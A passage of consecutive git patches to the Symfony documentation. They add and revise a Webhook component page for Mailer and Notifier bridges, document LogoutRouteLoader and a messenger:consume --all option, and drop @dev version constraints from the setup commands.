index 00000000000..08dd68e3535
--- /dev/null
+++ b/webhook.rst
@@ -0,0 +1,132 @@
+Webhook
+=======
+
+.. versionadded:: 6.3
+
+    The Webhook component was introduced in Symfony 6.3
+
+The Webhook component is used to respond to remote webhooks to trigger actions
+in your application. This document focuses on using webhooks to listen to remote
+events in other Symfony components.
+
+Installation
+------------
+
+.. code-block:: terminal
+
+    $ composer require symfony/webhook
+
+Usage in combination with the Mailer component
+----------------------------------------------
+
+When using a third-party mailer, you can use the Webhook component to receive
+webhook calls from the third-party mailer.
+
+In this example Mailgun is used with ``'mailer_mailgun'`` as webhook type.
+Any type name can be used as long as it's unique. Make sure to use it in the
+routing configuration, the webhook URL and the RemoteEvent consumer.
+
+Install the third party mailer as described in the documentation of the
+:ref:`Mailer component <mailer_3rd_party_transport>`.
+
+The Webhook component routing needs to be defined:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            webhook:
+                routing:
+                    mailer_mailgun:
+                        service: 'mailer.webhook.request_parser.mailgun'
+                        secret: '%env(MAILER_MAILGUN_SECRET)%'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                   xmlns:framework="http://symfony.com/schema/dic/symfony"
+                   xsi:schemaLocation="http://symfony.com/schema/dic/services
+                        https://symfony.com/schema/dic/services/services-1.0.xsd
+                        http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:webhook enabled="true">
+                    <framework:routing type="mailer_mailgun">
+                        <framework:service>mailer.webhook.request_parser.mailgun</framework:service>
+                        <framework:secret>%env(MAILER_MAILGUN_SECRET)%</framework:secret>
+                    </framework:routing>
+                </framework:webhook>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use App\Webhook\MailerWebhookParser;
+        use Symfony\Config\FrameworkConfig;
+        return static function (FrameworkConfig $frameworkConfig): void {
+            $webhookConfig = $frameworkConfig->webhook();
+            $webhookConfig
+                ->routing('mailer_mailgun')
+                ->service('mailer.webhook.request_parser.mailgun')
+                ->secret('%env(MAILER_MAILGUN_SECRET)%')
+            ;
+        };
+
+Currently, the following third-party mailer services support webhooks:
+
+=============== ==========================================
+Mailer service  Parser service name
+=============== ==========================================
+Mailgun         ``mailer.webhook.request_parser.mailgun``
+Postmark        ``mailer.webhook.request_parser.postmark``
+=============== ==========================================
+
+Set up the webhook in the third-party mailer. For Mailgun, you can do this
+in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
+path behind the domain you're using.
+
+Mailgun will provide a secret for the webhook. Add this secret to your ``.env``
+file:
+
+.. code-block:: env
+
+    MAILER_MAILGUN_SECRET=your_secret
+
+With this done, you can now add a RemoteEvent consumer to react to the webhooks::
+
+use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
+use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
+use Symfony\Component\RemoteEvent\Event\Mailer\MailerDeliveryEvent;
+use Symfony\Component\RemoteEvent\Event\Mailer\MailerEngagementEvent;
+use Symfony\Component\RemoteEvent\RemoteEvent;
+
+#[AsRemoteEventConsumer('mailer_mailgun')]
+final readonly class WebhookListener implements ConsumerInterface
+{
+    public function consume(RemoteEvent $event): void
+    {
+        if ($event instanceof MailerDeliveryEvent) {
+            $this->handleMailDelivery($event);
+        } elseif ($event instanceof MailerEngagementEvent) {
+            $this->handleMailEngagement($event);
+        } else {
+            // This is not an email event
+            return;
+        }
+    }
+
+    private function handleMailDelivery(MailerDeliveryEvent $event): void
+    {
+        // Handle the mail delivery event
+    }
+
+    private function handleMailEngagement(MailerEngagementEvent $event): void
+    {
+        // Handle the mail engagement event
+    }
+}

From d4b3b3328ba5f7eab4f7c8648cba5a1ed1e28b03 Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Tue, 12 Dec 2023 11:36:36 +0100
Subject: [PATCH 5512/7107] [Mailer] Updated webhook support in Mailer bridge
 overview for 6.4

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 5e7d921a468..846ea52a5ba 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -112,7 +112,7 @@ Service               Install with                                    Webhook su
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``    yes
 `Scaleway`_           ``composer require symfony/scaleway-mailer``
-`SendGrid`_           ``composer require symfony/sendgrid-mailer``
+`SendGrid`_           ``composer require symfony/sendgrid-mailer``    yes
 ===================== =============================================== ===============
 
 .. versionadded:: 6.2

From b8d08cbab23d1aa87bfe12217c607c259ae20275 Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Tue, 12 Dec 2023 11:41:23 +0100
Subject: [PATCH 5513/7107] [Webhook] Added Sendgrid's webhook support (added
 in 6.4)

---
 webhook.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/webhook.rst b/webhook.rst
index 08dd68e3535..f9bde7451a9 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -3,7 +3,7 @@ Webhook
 
 .. versionadded:: 6.3
 
-    The Webhook component was introduced in Symfony 6.3
+    The Webhook component was introduced in Symfony 6.3.
 
 The Webhook component is used to respond to remote webhooks to trigger actions
 in your application. This document focuses on using webhooks to listen to remote
@@ -84,8 +84,14 @@ Mailer service  Parser service name
 =============== ==========================================
 Mailgun         ``mailer.webhook.request_parser.mailgun``
 Postmark        ``mailer.webhook.request_parser.postmark``
+Sendgrid        ``mailer.webhook.request_parser.sendgrid``
 =============== ==========================================
 
+.. versionadded:: 6.4
+
+    Webhook support for the Sendgrid service was introduced in Symfony 6.4.
+
+
 Set up the webhook in the third-party mailer. For Mailgun, you can do this
 in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
 path behind the domain you're using.

From 4336b8735cf2e22004c51302d7b5678afab3e32e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 12 Dec 2023 12:15:00 +0100
Subject: [PATCH 5514/7107] -

---
 reference/configuration/framework.rst | 4 ----
 webhook.rst                           | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b5a2c547eb1..894cf7a82c5 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3550,10 +3550,6 @@ Adds a `Link HTTP header`_ to the response.
 webhook
 ~~~~~~~
 
-.. versionadded:: 6.3
-
-    The Webhook configuration was introduced in Symfony 6.3.
-
 The ``webhook`` option (and its children) are used to configure the webhooks
 defined in your application. Read more about the options in the :ref:`Webhook documentation <webhook>`.
 
diff --git a/webhook.rst b/webhook.rst
index f9bde7451a9..f65760182a8 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -1,10 +1,6 @@
 Webhook
 =======
 
-.. versionadded:: 6.3
-
-    The Webhook component was introduced in Symfony 6.3.
-
 The Webhook component is used to respond to remote webhooks to trigger actions
 in your application. This document focuses on using webhooks to listen to remote
 events in other Symfony components.

From 82ec06e09fc6b4966276cfecf9075bc7bbe1d52a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 12 Dec 2023 11:41:24 +0100
Subject: [PATCH 5515/7107] [Webhook] Add missing webhook parsers

---
 mailer.rst  |  4 ++--
 webhook.rst | 27 +++++++++++++++++----------
 2 files changed, 19 insertions(+), 12 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 3604d423f83..7fe2089d526 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -105,10 +105,10 @@ via a third-party provider:
 Service               Install with                                    Webhook support
 ===================== =============================================== ===============
 `Amazon SES`_         ``composer require symfony/amazon-mailer``
-`Brevo`_              ``composer require symfony/brevo-mailer``
+`Brevo`_              ``composer require symfony/brevo-mailer``       yes
 `Infobip`_            ``composer require symfony/infobip-mailer``
 `Mailgun`_            ``composer require symfony/mailgun-mailer``     yes
-`Mailjet`_            ``composer require symfony/mailjet-mailer``
+`Mailjet`_            ``composer require symfony/mailjet-mailer``     yes
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
 `MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Mandrill`_           ``composer require symfony/mailchimp-mailer``
diff --git a/webhook.rst b/webhook.rst
index f9bde7451a9..19122db3b13 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -77,20 +77,27 @@ The Webhook component routing needs to be defined:
             ;
         };
 
-Currently, the following third-party mailer services support webhooks:
+Currently, the following third-party services support webhooks:
+
+======== ==========================================
+Service  Parser service name
+======== ==========================================
+Brevo    ``mailer.webhook.request_parser.brevo``
+Mailgun  ``mailer.webhook.request_parser.mailgun``
+Mailjet  ``mailer.webhook.request_parser.mailjet``
+Postmark ``mailer.webhook.request_parser.postmark``
+Sendgrid ``mailer.webhook.request_parser.sendgrid``
+Vonage   ``notifier.webhook.request_parser.vonage``
+======== ==========================================
 
-=============== ==========================================
-Mailer service  Parser service name
-=============== ==========================================
-Mailgun         ``mailer.webhook.request_parser.mailgun``
-Postmark        ``mailer.webhook.request_parser.postmark``
-Sendgrid        ``mailer.webhook.request_parser.sendgrid``
-=============== ==========================================
+.. versionadded:: 6.3
 
-.. versionadded:: 6.4
+    The support for Mailgun and Postmark was introduced in Symfony 6.3.
 
-    Webhook support for the Sendgrid service was introduced in Symfony 6.4.
+.. versionadded:: 6.4
 
+    The support for Brevo, Mailjet, Sendgrid and Vonage was introduced in
+    Symfony 6.4.
 
 Set up the webhook in the third-party mailer. For Mailgun, you can do this
 in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``

From cc8abdd50c873b90d44ff91291c33fc9df0bb152 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 12 Dec 2023 13:25:01 +0100
Subject: [PATCH 5516/7107] -

---
 webhook.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index 4e7377cf730..74e48499937 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -86,15 +86,6 @@ Sendgrid ``mailer.webhook.request_parser.sendgrid``
 Vonage   ``notifier.webhook.request_parser.vonage``
 ======== ==========================================
 
-.. versionadded:: 6.3
-
-    The support for Mailgun and Postmark was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The support for Brevo, Mailjet, Sendgrid and Vonage was introduced in
-    Symfony 6.4.
-
 Set up the webhook in the third-party mailer. For Mailgun, you can do this
 in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
 path behind the domain you're using.

From 8ebe0dd9de58c25e266bfcc943198f5829006d4f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 12 Dec 2023 14:10:17 +0100
Subject: [PATCH 5517/7107] [Messenger] Add `--all` option to
 `messenger:consume`

---
 messenger.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 133283fe465..adaec5a9883 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -485,6 +485,17 @@ The first argument is the receiver's name (or service id if you routed to a
 custom service). By default, the command will run forever: looking for new messages
 on your transport and handling them. This command is called your "worker".
 
+If you want to consume messages from all available receivers, you can use the
+command with the ``--all`` option:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume --all
+
+.. versionadded:: 7.1
+
+    The ``--all`` option was introduced in Symfony 7.1.
+
 .. tip::
 
     To properly stop a worker, throw an instance of

From 19a87a6c4ac5b602fd062e0833eda732cd449a3c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 12 Dec 2023 14:14:49 +0100
Subject: [PATCH 5518/7107] Fix indentation

---
 webhook.rst | 52 ++++++++++++++++++++++++++--------------------------
 1 file changed, 26 insertions(+), 26 deletions(-)

diff --git a/webhook.rst b/webhook.rst
index 08dd68e3535..d79e1479e08 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -99,34 +99,34 @@ file:
 
 With this done, you can now add a RemoteEvent consumer to react to the webhooks::
 
-use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
-use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
-use Symfony\Component\RemoteEvent\Event\Mailer\MailerDeliveryEvent;
-use Symfony\Component\RemoteEvent\Event\Mailer\MailerEngagementEvent;
-use Symfony\Component\RemoteEvent\RemoteEvent;
-
-#[AsRemoteEventConsumer('mailer_mailgun')]
-final readonly class WebhookListener implements ConsumerInterface
-{
-    public function consume(RemoteEvent $event): void
+    use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
+    use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
+    use Symfony\Component\RemoteEvent\Event\Mailer\MailerDeliveryEvent;
+    use Symfony\Component\RemoteEvent\Event\Mailer\MailerEngagementEvent;
+    use Symfony\Component\RemoteEvent\RemoteEvent;
+
+    #[AsRemoteEventConsumer('mailer_mailgun')]
+    final readonly class WebhookListener implements ConsumerInterface
     {
-        if ($event instanceof MailerDeliveryEvent) {
-            $this->handleMailDelivery($event);
-        } elseif ($event instanceof MailerEngagementEvent) {
-            $this->handleMailEngagement($event);
-        } else {
-            // This is not an email event
-            return;
+        public function consume(RemoteEvent $event): void
+        {
+            if ($event instanceof MailerDeliveryEvent) {
+                $this->handleMailDelivery($event);
+            } elseif ($event instanceof MailerEngagementEvent) {
+                $this->handleMailEngagement($event);
+            } else {
+                // This is not an email event
+                return;
+            }
         }
-    }
 
-    private function handleMailDelivery(MailerDeliveryEvent $event): void
-    {
-        // Handle the mail delivery event
-    }
+        private function handleMailDelivery(MailerDeliveryEvent $event): void
+        {
+            // Handle the mail delivery event
+        }
 
-    private function handleMailEngagement(MailerEngagementEvent $event): void
-    {
-        // Handle the mail engagement event
+        private function handleMailEngagement(MailerEngagementEvent $event): void
+        {
+            // Handle the mail engagement event
+        }
     }
-}

From 31687e431fe5d87216c112ef8151c9618713382a Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Tue, 12 Dec 2023 12:33:11 +0100
Subject: [PATCH 5519/7107] [Notifier][Webhook] Added documentation for Webhook
 in combination with the Notifier component

---
 notifier.rst | 16 +++++++++++-----
 webhook.rst  | 47 ++++++++++++++++++++++++++++++++++++++++++++++-
 2 files changed, 57 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 47688a6b1da..29af133278a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -55,9 +55,9 @@ to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
-==================  =====================================  ===========================================================================
-Service             Package                                DSN
-==================  =====================================  ===========================================================================
+==================  =====================================  ========================================================================================================================= ===============
+Service             Package                                DSN                                                                                                                       Webhook support
+==================  =====================================  ========================================================================================================================= ===============
 `46elks`_           ``symfony/forty-six-elks-notifier``    ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
 `AllMySms`_         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``
 `AmazonSns`_        ``symfony/amazon-sns-notifier``        ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
@@ -95,10 +95,10 @@ Service             Package                                DSN
 `SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
-`Twilio`_           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``
+`Twilio`_           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``                                                                                  yes
 `Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
-==================  =====================================  ===========================================================================
+==================  =====================================  ========================================================================================================================= ===============
 
 .. versionadded:: 6.1
 
@@ -116,6 +116,12 @@ Service             Package                                DSN
     were introduced in Symfony 6.3.
     The ``from`` option in ``Smsapi`` DSN is optional since Symfony 6.3.
 
+.. tip::
+
+    Some third party transports, when using the API, support status callback
+    via webhooks. See the :doc:`Webhook documentation </webhook>` for more
+    details.
+
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
diff --git a/webhook.rst b/webhook.rst
index d79e1479e08..b7457bb2e08 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -106,7 +106,7 @@ With this done, you can now add a RemoteEvent consumer to react to the webhooks:
     use Symfony\Component\RemoteEvent\RemoteEvent;
 
     #[AsRemoteEventConsumer('mailer_mailgun')]
-    final readonly class WebhookListener implements ConsumerInterface
+    class WebhookListener implements ConsumerInterface
     {
         public function consume(RemoteEvent $event): void
         {
@@ -130,3 +130,48 @@ With this done, you can now add a RemoteEvent consumer to react to the webhooks:
             // Handle the mail engagement event
         }
     }
+
+Usage in combination with the Notifier component
+------------------------------------------------
+
+The usage of the Webhook component when using a third-party transport in
+the Notifier is very similar to the usage with the Mailer.
+
+Currently, the following third-party sms transports support webhooks:
+
+============ ==========================================
+SMS service  Parser service name
+============ ==========================================
+Twilio       ``notifier.webhook.request_parser.twilio``
+============ ==========================================
+
+.. versionadded:: 6.3
+
+    The support for Twilio was introduced in Symfony 6.3.
+
+For SMS transports, an additional ``SmsEvent`` is available in the RemoteEvent
+consumer::
+
+    use Symfony\Component\RemoteEvent\Attribute\AsRemoteEventConsumer;
+    use Symfony\Component\RemoteEvent\Consumer\ConsumerInterface;
+    use Symfony\Component\RemoteEvent\Event\Sms\SmsEvent;
+    use Symfony\Component\RemoteEvent\RemoteEvent;
+
+    #[AsRemoteEventConsumer('notifier_twilio')]
+    class WebhookListener implements ConsumerInterface
+    {
+        public function consume(RemoteEvent $event): void
+        {
+            if ($event instanceof SmsEvent) {
+                $this->handleSmsEvent($event);
+            } else {
+                // This is not an sms event
+                return;
+            }
+        }
+
+        private function handleSmsEvent(SmsEvent $event): void
+        {
+            // Handle the sms event
+        }
+    }

From 33ee99fef87909d6116f2eb41a7c08d2002f413f Mon Sep 17 00:00:00 2001
From: Timo Bakx <github@timobakx.dev>
Date: Tue, 12 Dec 2023 16:07:30 +0100
Subject: [PATCH 5520/7107] [Notifier][Webhook] Updated Webhook-supported
 Notifier bridges for 6.4

---
 notifier.rst |  2 +-
 webhook.rst  | 27 +++++++++++++++------------
 2 files changed, 16 insertions(+), 13 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index bd2b6e6a728..24000a21ed6 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -99,7 +99,7 @@ Service             Package                                DSN
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
 `Twilio`_           ``symfony/twilio-notifier``            ``twilio://SID:TOKEN@default?from=FROM``                                                                                  yes
-`Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``
+`Vonage`_           ``symfony/vonage-notifier``            ``vonage://KEY:SECRET@default?from=FROM``                                                                                 yes
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
 ==================  =====================================  ========================================================================================================================= ===============
 
diff --git a/webhook.rst b/webhook.rst
index 81b435f5b1b..602ddab3e38 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -79,16 +79,15 @@ The Webhook component routing needs to be defined:
 
 Currently, the following third-party services support webhooks:
 
-======== ==========================================
-Service  Parser service name
-======== ==========================================
-Brevo    ``mailer.webhook.request_parser.brevo``
-Mailgun  ``mailer.webhook.request_parser.mailgun``
-Mailjet  ``mailer.webhook.request_parser.mailjet``
-Postmark ``mailer.webhook.request_parser.postmark``
-Sendgrid ``mailer.webhook.request_parser.sendgrid``
-Vonage   ``notifier.webhook.request_parser.vonage``
-======== ==========================================
+============== ==========================================
+Mailer Service Parser service name
+============== ==========================================
+Brevo          ``mailer.webhook.request_parser.brevo``
+Mailgun        ``mailer.webhook.request_parser.mailgun``
+Mailjet        ``mailer.webhook.request_parser.mailjet``
+Postmark       ``mailer.webhook.request_parser.postmark``
+Sendgrid       ``mailer.webhook.request_parser.sendgrid``
+============== ==========================================
 
 .. versionadded:: 6.3
 
@@ -96,8 +95,7 @@ Vonage   ``notifier.webhook.request_parser.vonage``
 
 .. versionadded:: 6.4
 
-    The support for Brevo, Mailjet, Sendgrid and Vonage was introduced in
-    Symfony 6.4.
+    The support for Brevo, Mailjet and Sendgrid was introduced in Symfony 6.4.
 
 Set up the webhook in the third-party mailer. For Mailgun, you can do this
 in the control panel. As URL, make sure to use the ``/webhook/mailer_mailgun``
@@ -156,12 +154,17 @@ Currently, the following third-party sms transports support webhooks:
 SMS service  Parser service name
 ============ ==========================================
 Twilio       ``notifier.webhook.request_parser.twilio``
+Vonage       ``notifier.webhook.request_parser.vonage``
 ============ ==========================================
 
 .. versionadded:: 6.3
 
     The support for Twilio was introduced in Symfony 6.3.
 
+.. versionadded:: 6.4
+
+    The support for Vonage was introduced in Symfony 6.4.
+
 For SMS transports, an additional ``SmsEvent`` is available in the RemoteEvent
 consumer::
 

From 890613224c80655759c92eee6a52750387d8fcb7 Mon Sep 17 00:00:00 2001
From: Mathieu Lechat <math.lechat@gmail.com>
Date: Sat, 9 Dec 2023 11:32:23 +0100
Subject: [PATCH 5521/7107] [Routing][Security] Document the
 `LogoutRouteLoader`

---
 security.rst | 160 +++++++++++++++++++++++++++++++++++++++------------
 1 file changed, 124 insertions(+), 36 deletions(-)

diff --git a/security.rst b/security.rst
index d38c9cf731d..6d5cd1b98dc 100644
--- a/security.rst
+++ b/security.rst
@@ -1796,7 +1796,7 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
                 main:
                     # ...
                     logout:
-                        path: app_logout
+                        path: /logout
 
                         # where to redirect after logout
                         # target: app_any_route
@@ -1817,11 +1817,10 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
                 <!-- ... -->
 
                 <firewall name="main">
-                    <!-- ... -->
-                    <logout path="app_logout"/>
+                    <logout path="/logout"/>
 
                     <!-- use "target" to configure where to redirect after logout
-                    <logout path="app_logout" target="app_any_route"/>
+                    <logout path="/logout" target="app_any_route"/>
                     -->
                 </firewall>
             </config>
@@ -1838,68 +1837,58 @@ To enable logging out, activate the  ``logout`` config parameter under your fire
             $mainFirewall = $security->firewall('main');
             // ...
             $mainFirewall->logout()
-                // the argument can be either a route name or a path
-                ->path('app_logout')
+                ->path('/logout')
 
                 // where to redirect after logout
                 // ->target('app_any_route')
             ;
         };
 
-Next, you need to create a route for this URL (but not a controller):
+Symfony will then un-authenticate users navigating to the configured ``path``,
+and redirect them to the configured ``target``.
 
-.. configuration-block::
-
-    .. code-block:: php-attributes
+.. tip::
 
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
+    If you need to reference the logout path, you can use the ``_logout_<firewallname>``
+    route name (e.g. ``_logout_main``).
 
-        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+If your project does not use :ref:`Symfony Flex <symfony-flex>`, make sure
+you have imported the logout route loader in your routes:
 
-        class SecurityController extends AbstractController
-        {
-            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
-            public function logout(): never
-            {
-                // controller can be blank: it will never be called!
-                throw new \Exception('Don\'t forget to activate logout in security.yaml');
-            }
-        }
+.. configuration-block::
 
     .. code-block:: yaml
 
-        # config/routes.yaml
-        app_logout:
-            path: /logout
-            methods: GET
+        # config/routes/security.yaml
+        _symfony_logout:
+            resource: security.route_loader.logout
+            type: service
 
     .. code-block:: xml
 
-        <!-- config/routes.xml -->
+        <!-- config/routes/security.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <routes xmlns="http://symfony.com/schema/routing"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <route id="app_logout" path="/logout" methods="GET"/>
+            <import resource="security.route_loader.logout" type="service"/>
         </routes>
 
     .. code-block:: php
 
-        // config/routes.php
+        // config/routes/security.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
-        return function (RoutingConfigurator $routes): void {
-            $routes->add('app_logout', '/logout')
-                ->methods(['GET'])
-            ;
+        return static function (RoutingConfigurator $routes): void {
+            $routes->import('security.route_loader.logout', 'service');
         };
 
-That's it! By sending a user to the ``app_logout`` route (i.e. to ``/logout``)
-Symfony will un-authenticate the current user and redirect them.
+.. versionadded:: 6.4
+
+    The :class:`Symfony\\Bundle\\SecurityBundle\\Routing\\LogoutRouteLoader` was
+    introduced in Symfony 6.4.
 
 Logout programmatically
 ~~~~~~~~~~~~~~~~~~~~~~~
@@ -1989,6 +1978,105 @@ to execute custom logic::
         }
     }
 
+Customizing Logout Path
+~~~~~~~~~~~~~~~~~~~~~~~
+
+Another option is to configure ``path`` as a route name. This can be useful
+if you want logout URIs to be dynamic (e.g. translated according to the
+current locale). In that case, you have to create this route yourself:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        app_logout:
+            path:
+                en: /logout
+                fr: /deconnexion
+            methods: GET
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="app_logout" path="/logout" methods="GET">
+                <path locale="en">/logout</path>
+                <path locale="fr">/deconnexion</path>
+            </route>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return function (RoutingConfigurator $routes): void {
+            $routes->add('app_logout', [
+                'en' => '/logout',
+                'fr' => '/deconnexion',
+            ])
+                ->methods(['GET'])
+            ;
+        };
+
+Then, pass the route name to the ``path`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+
+            firewalls:
+                main:
+                    # ...
+                    logout:
+                        path: app_logout
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <!-- ... -->
+
+                <firewall name="main">
+                    <logout path="app_logout"/>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security): void {
+            // ...
+
+            $mainFirewall = $security->firewall('main');
+            // ...
+            $mainFirewall->logout()
+                ->path('app_logout')
+            ;
+        };
+
 .. _retrieving-the-user-object:
 
 Fetching the User Object

From 95c1187e2e3d2cd9a93ca2ab78479d3c072cdbb0 Mon Sep 17 00:00:00 2001
From: Louis-Marie <lm.gabo@gmail.com>
Date: Wed, 13 Dec 2023 08:47:24 +0100
Subject: [PATCH 5522/7107] Remove @dev

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5ca27ea8527..d7b8feaf4be 100644
--- a/setup.rst
+++ b/setup.rst
@@ -46,10 +46,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.4.*@dev" --webapp
+    $ symfony new my_project_directory --version="6.4.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.4.*@dev"
+    $ symfony new my_project_directory --version="6.4.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you
@@ -61,12 +61,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.4.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.4.*@dev" my_project_directory
+    $ composer create-project symfony/skeleton:"6.4.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 457d5e566b21758cc2b84f987eef3d56388f4ab4 Mon Sep 17 00:00:00 2001
From: Louis-Marie <lm.gabo@gmail.com>
Date: Wed, 13 Dec 2023 08:50:00 +0100
Subject: [PATCH 5523/7107] Remove @dev

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 49b6f9482de..7da5a5fcb12 100644
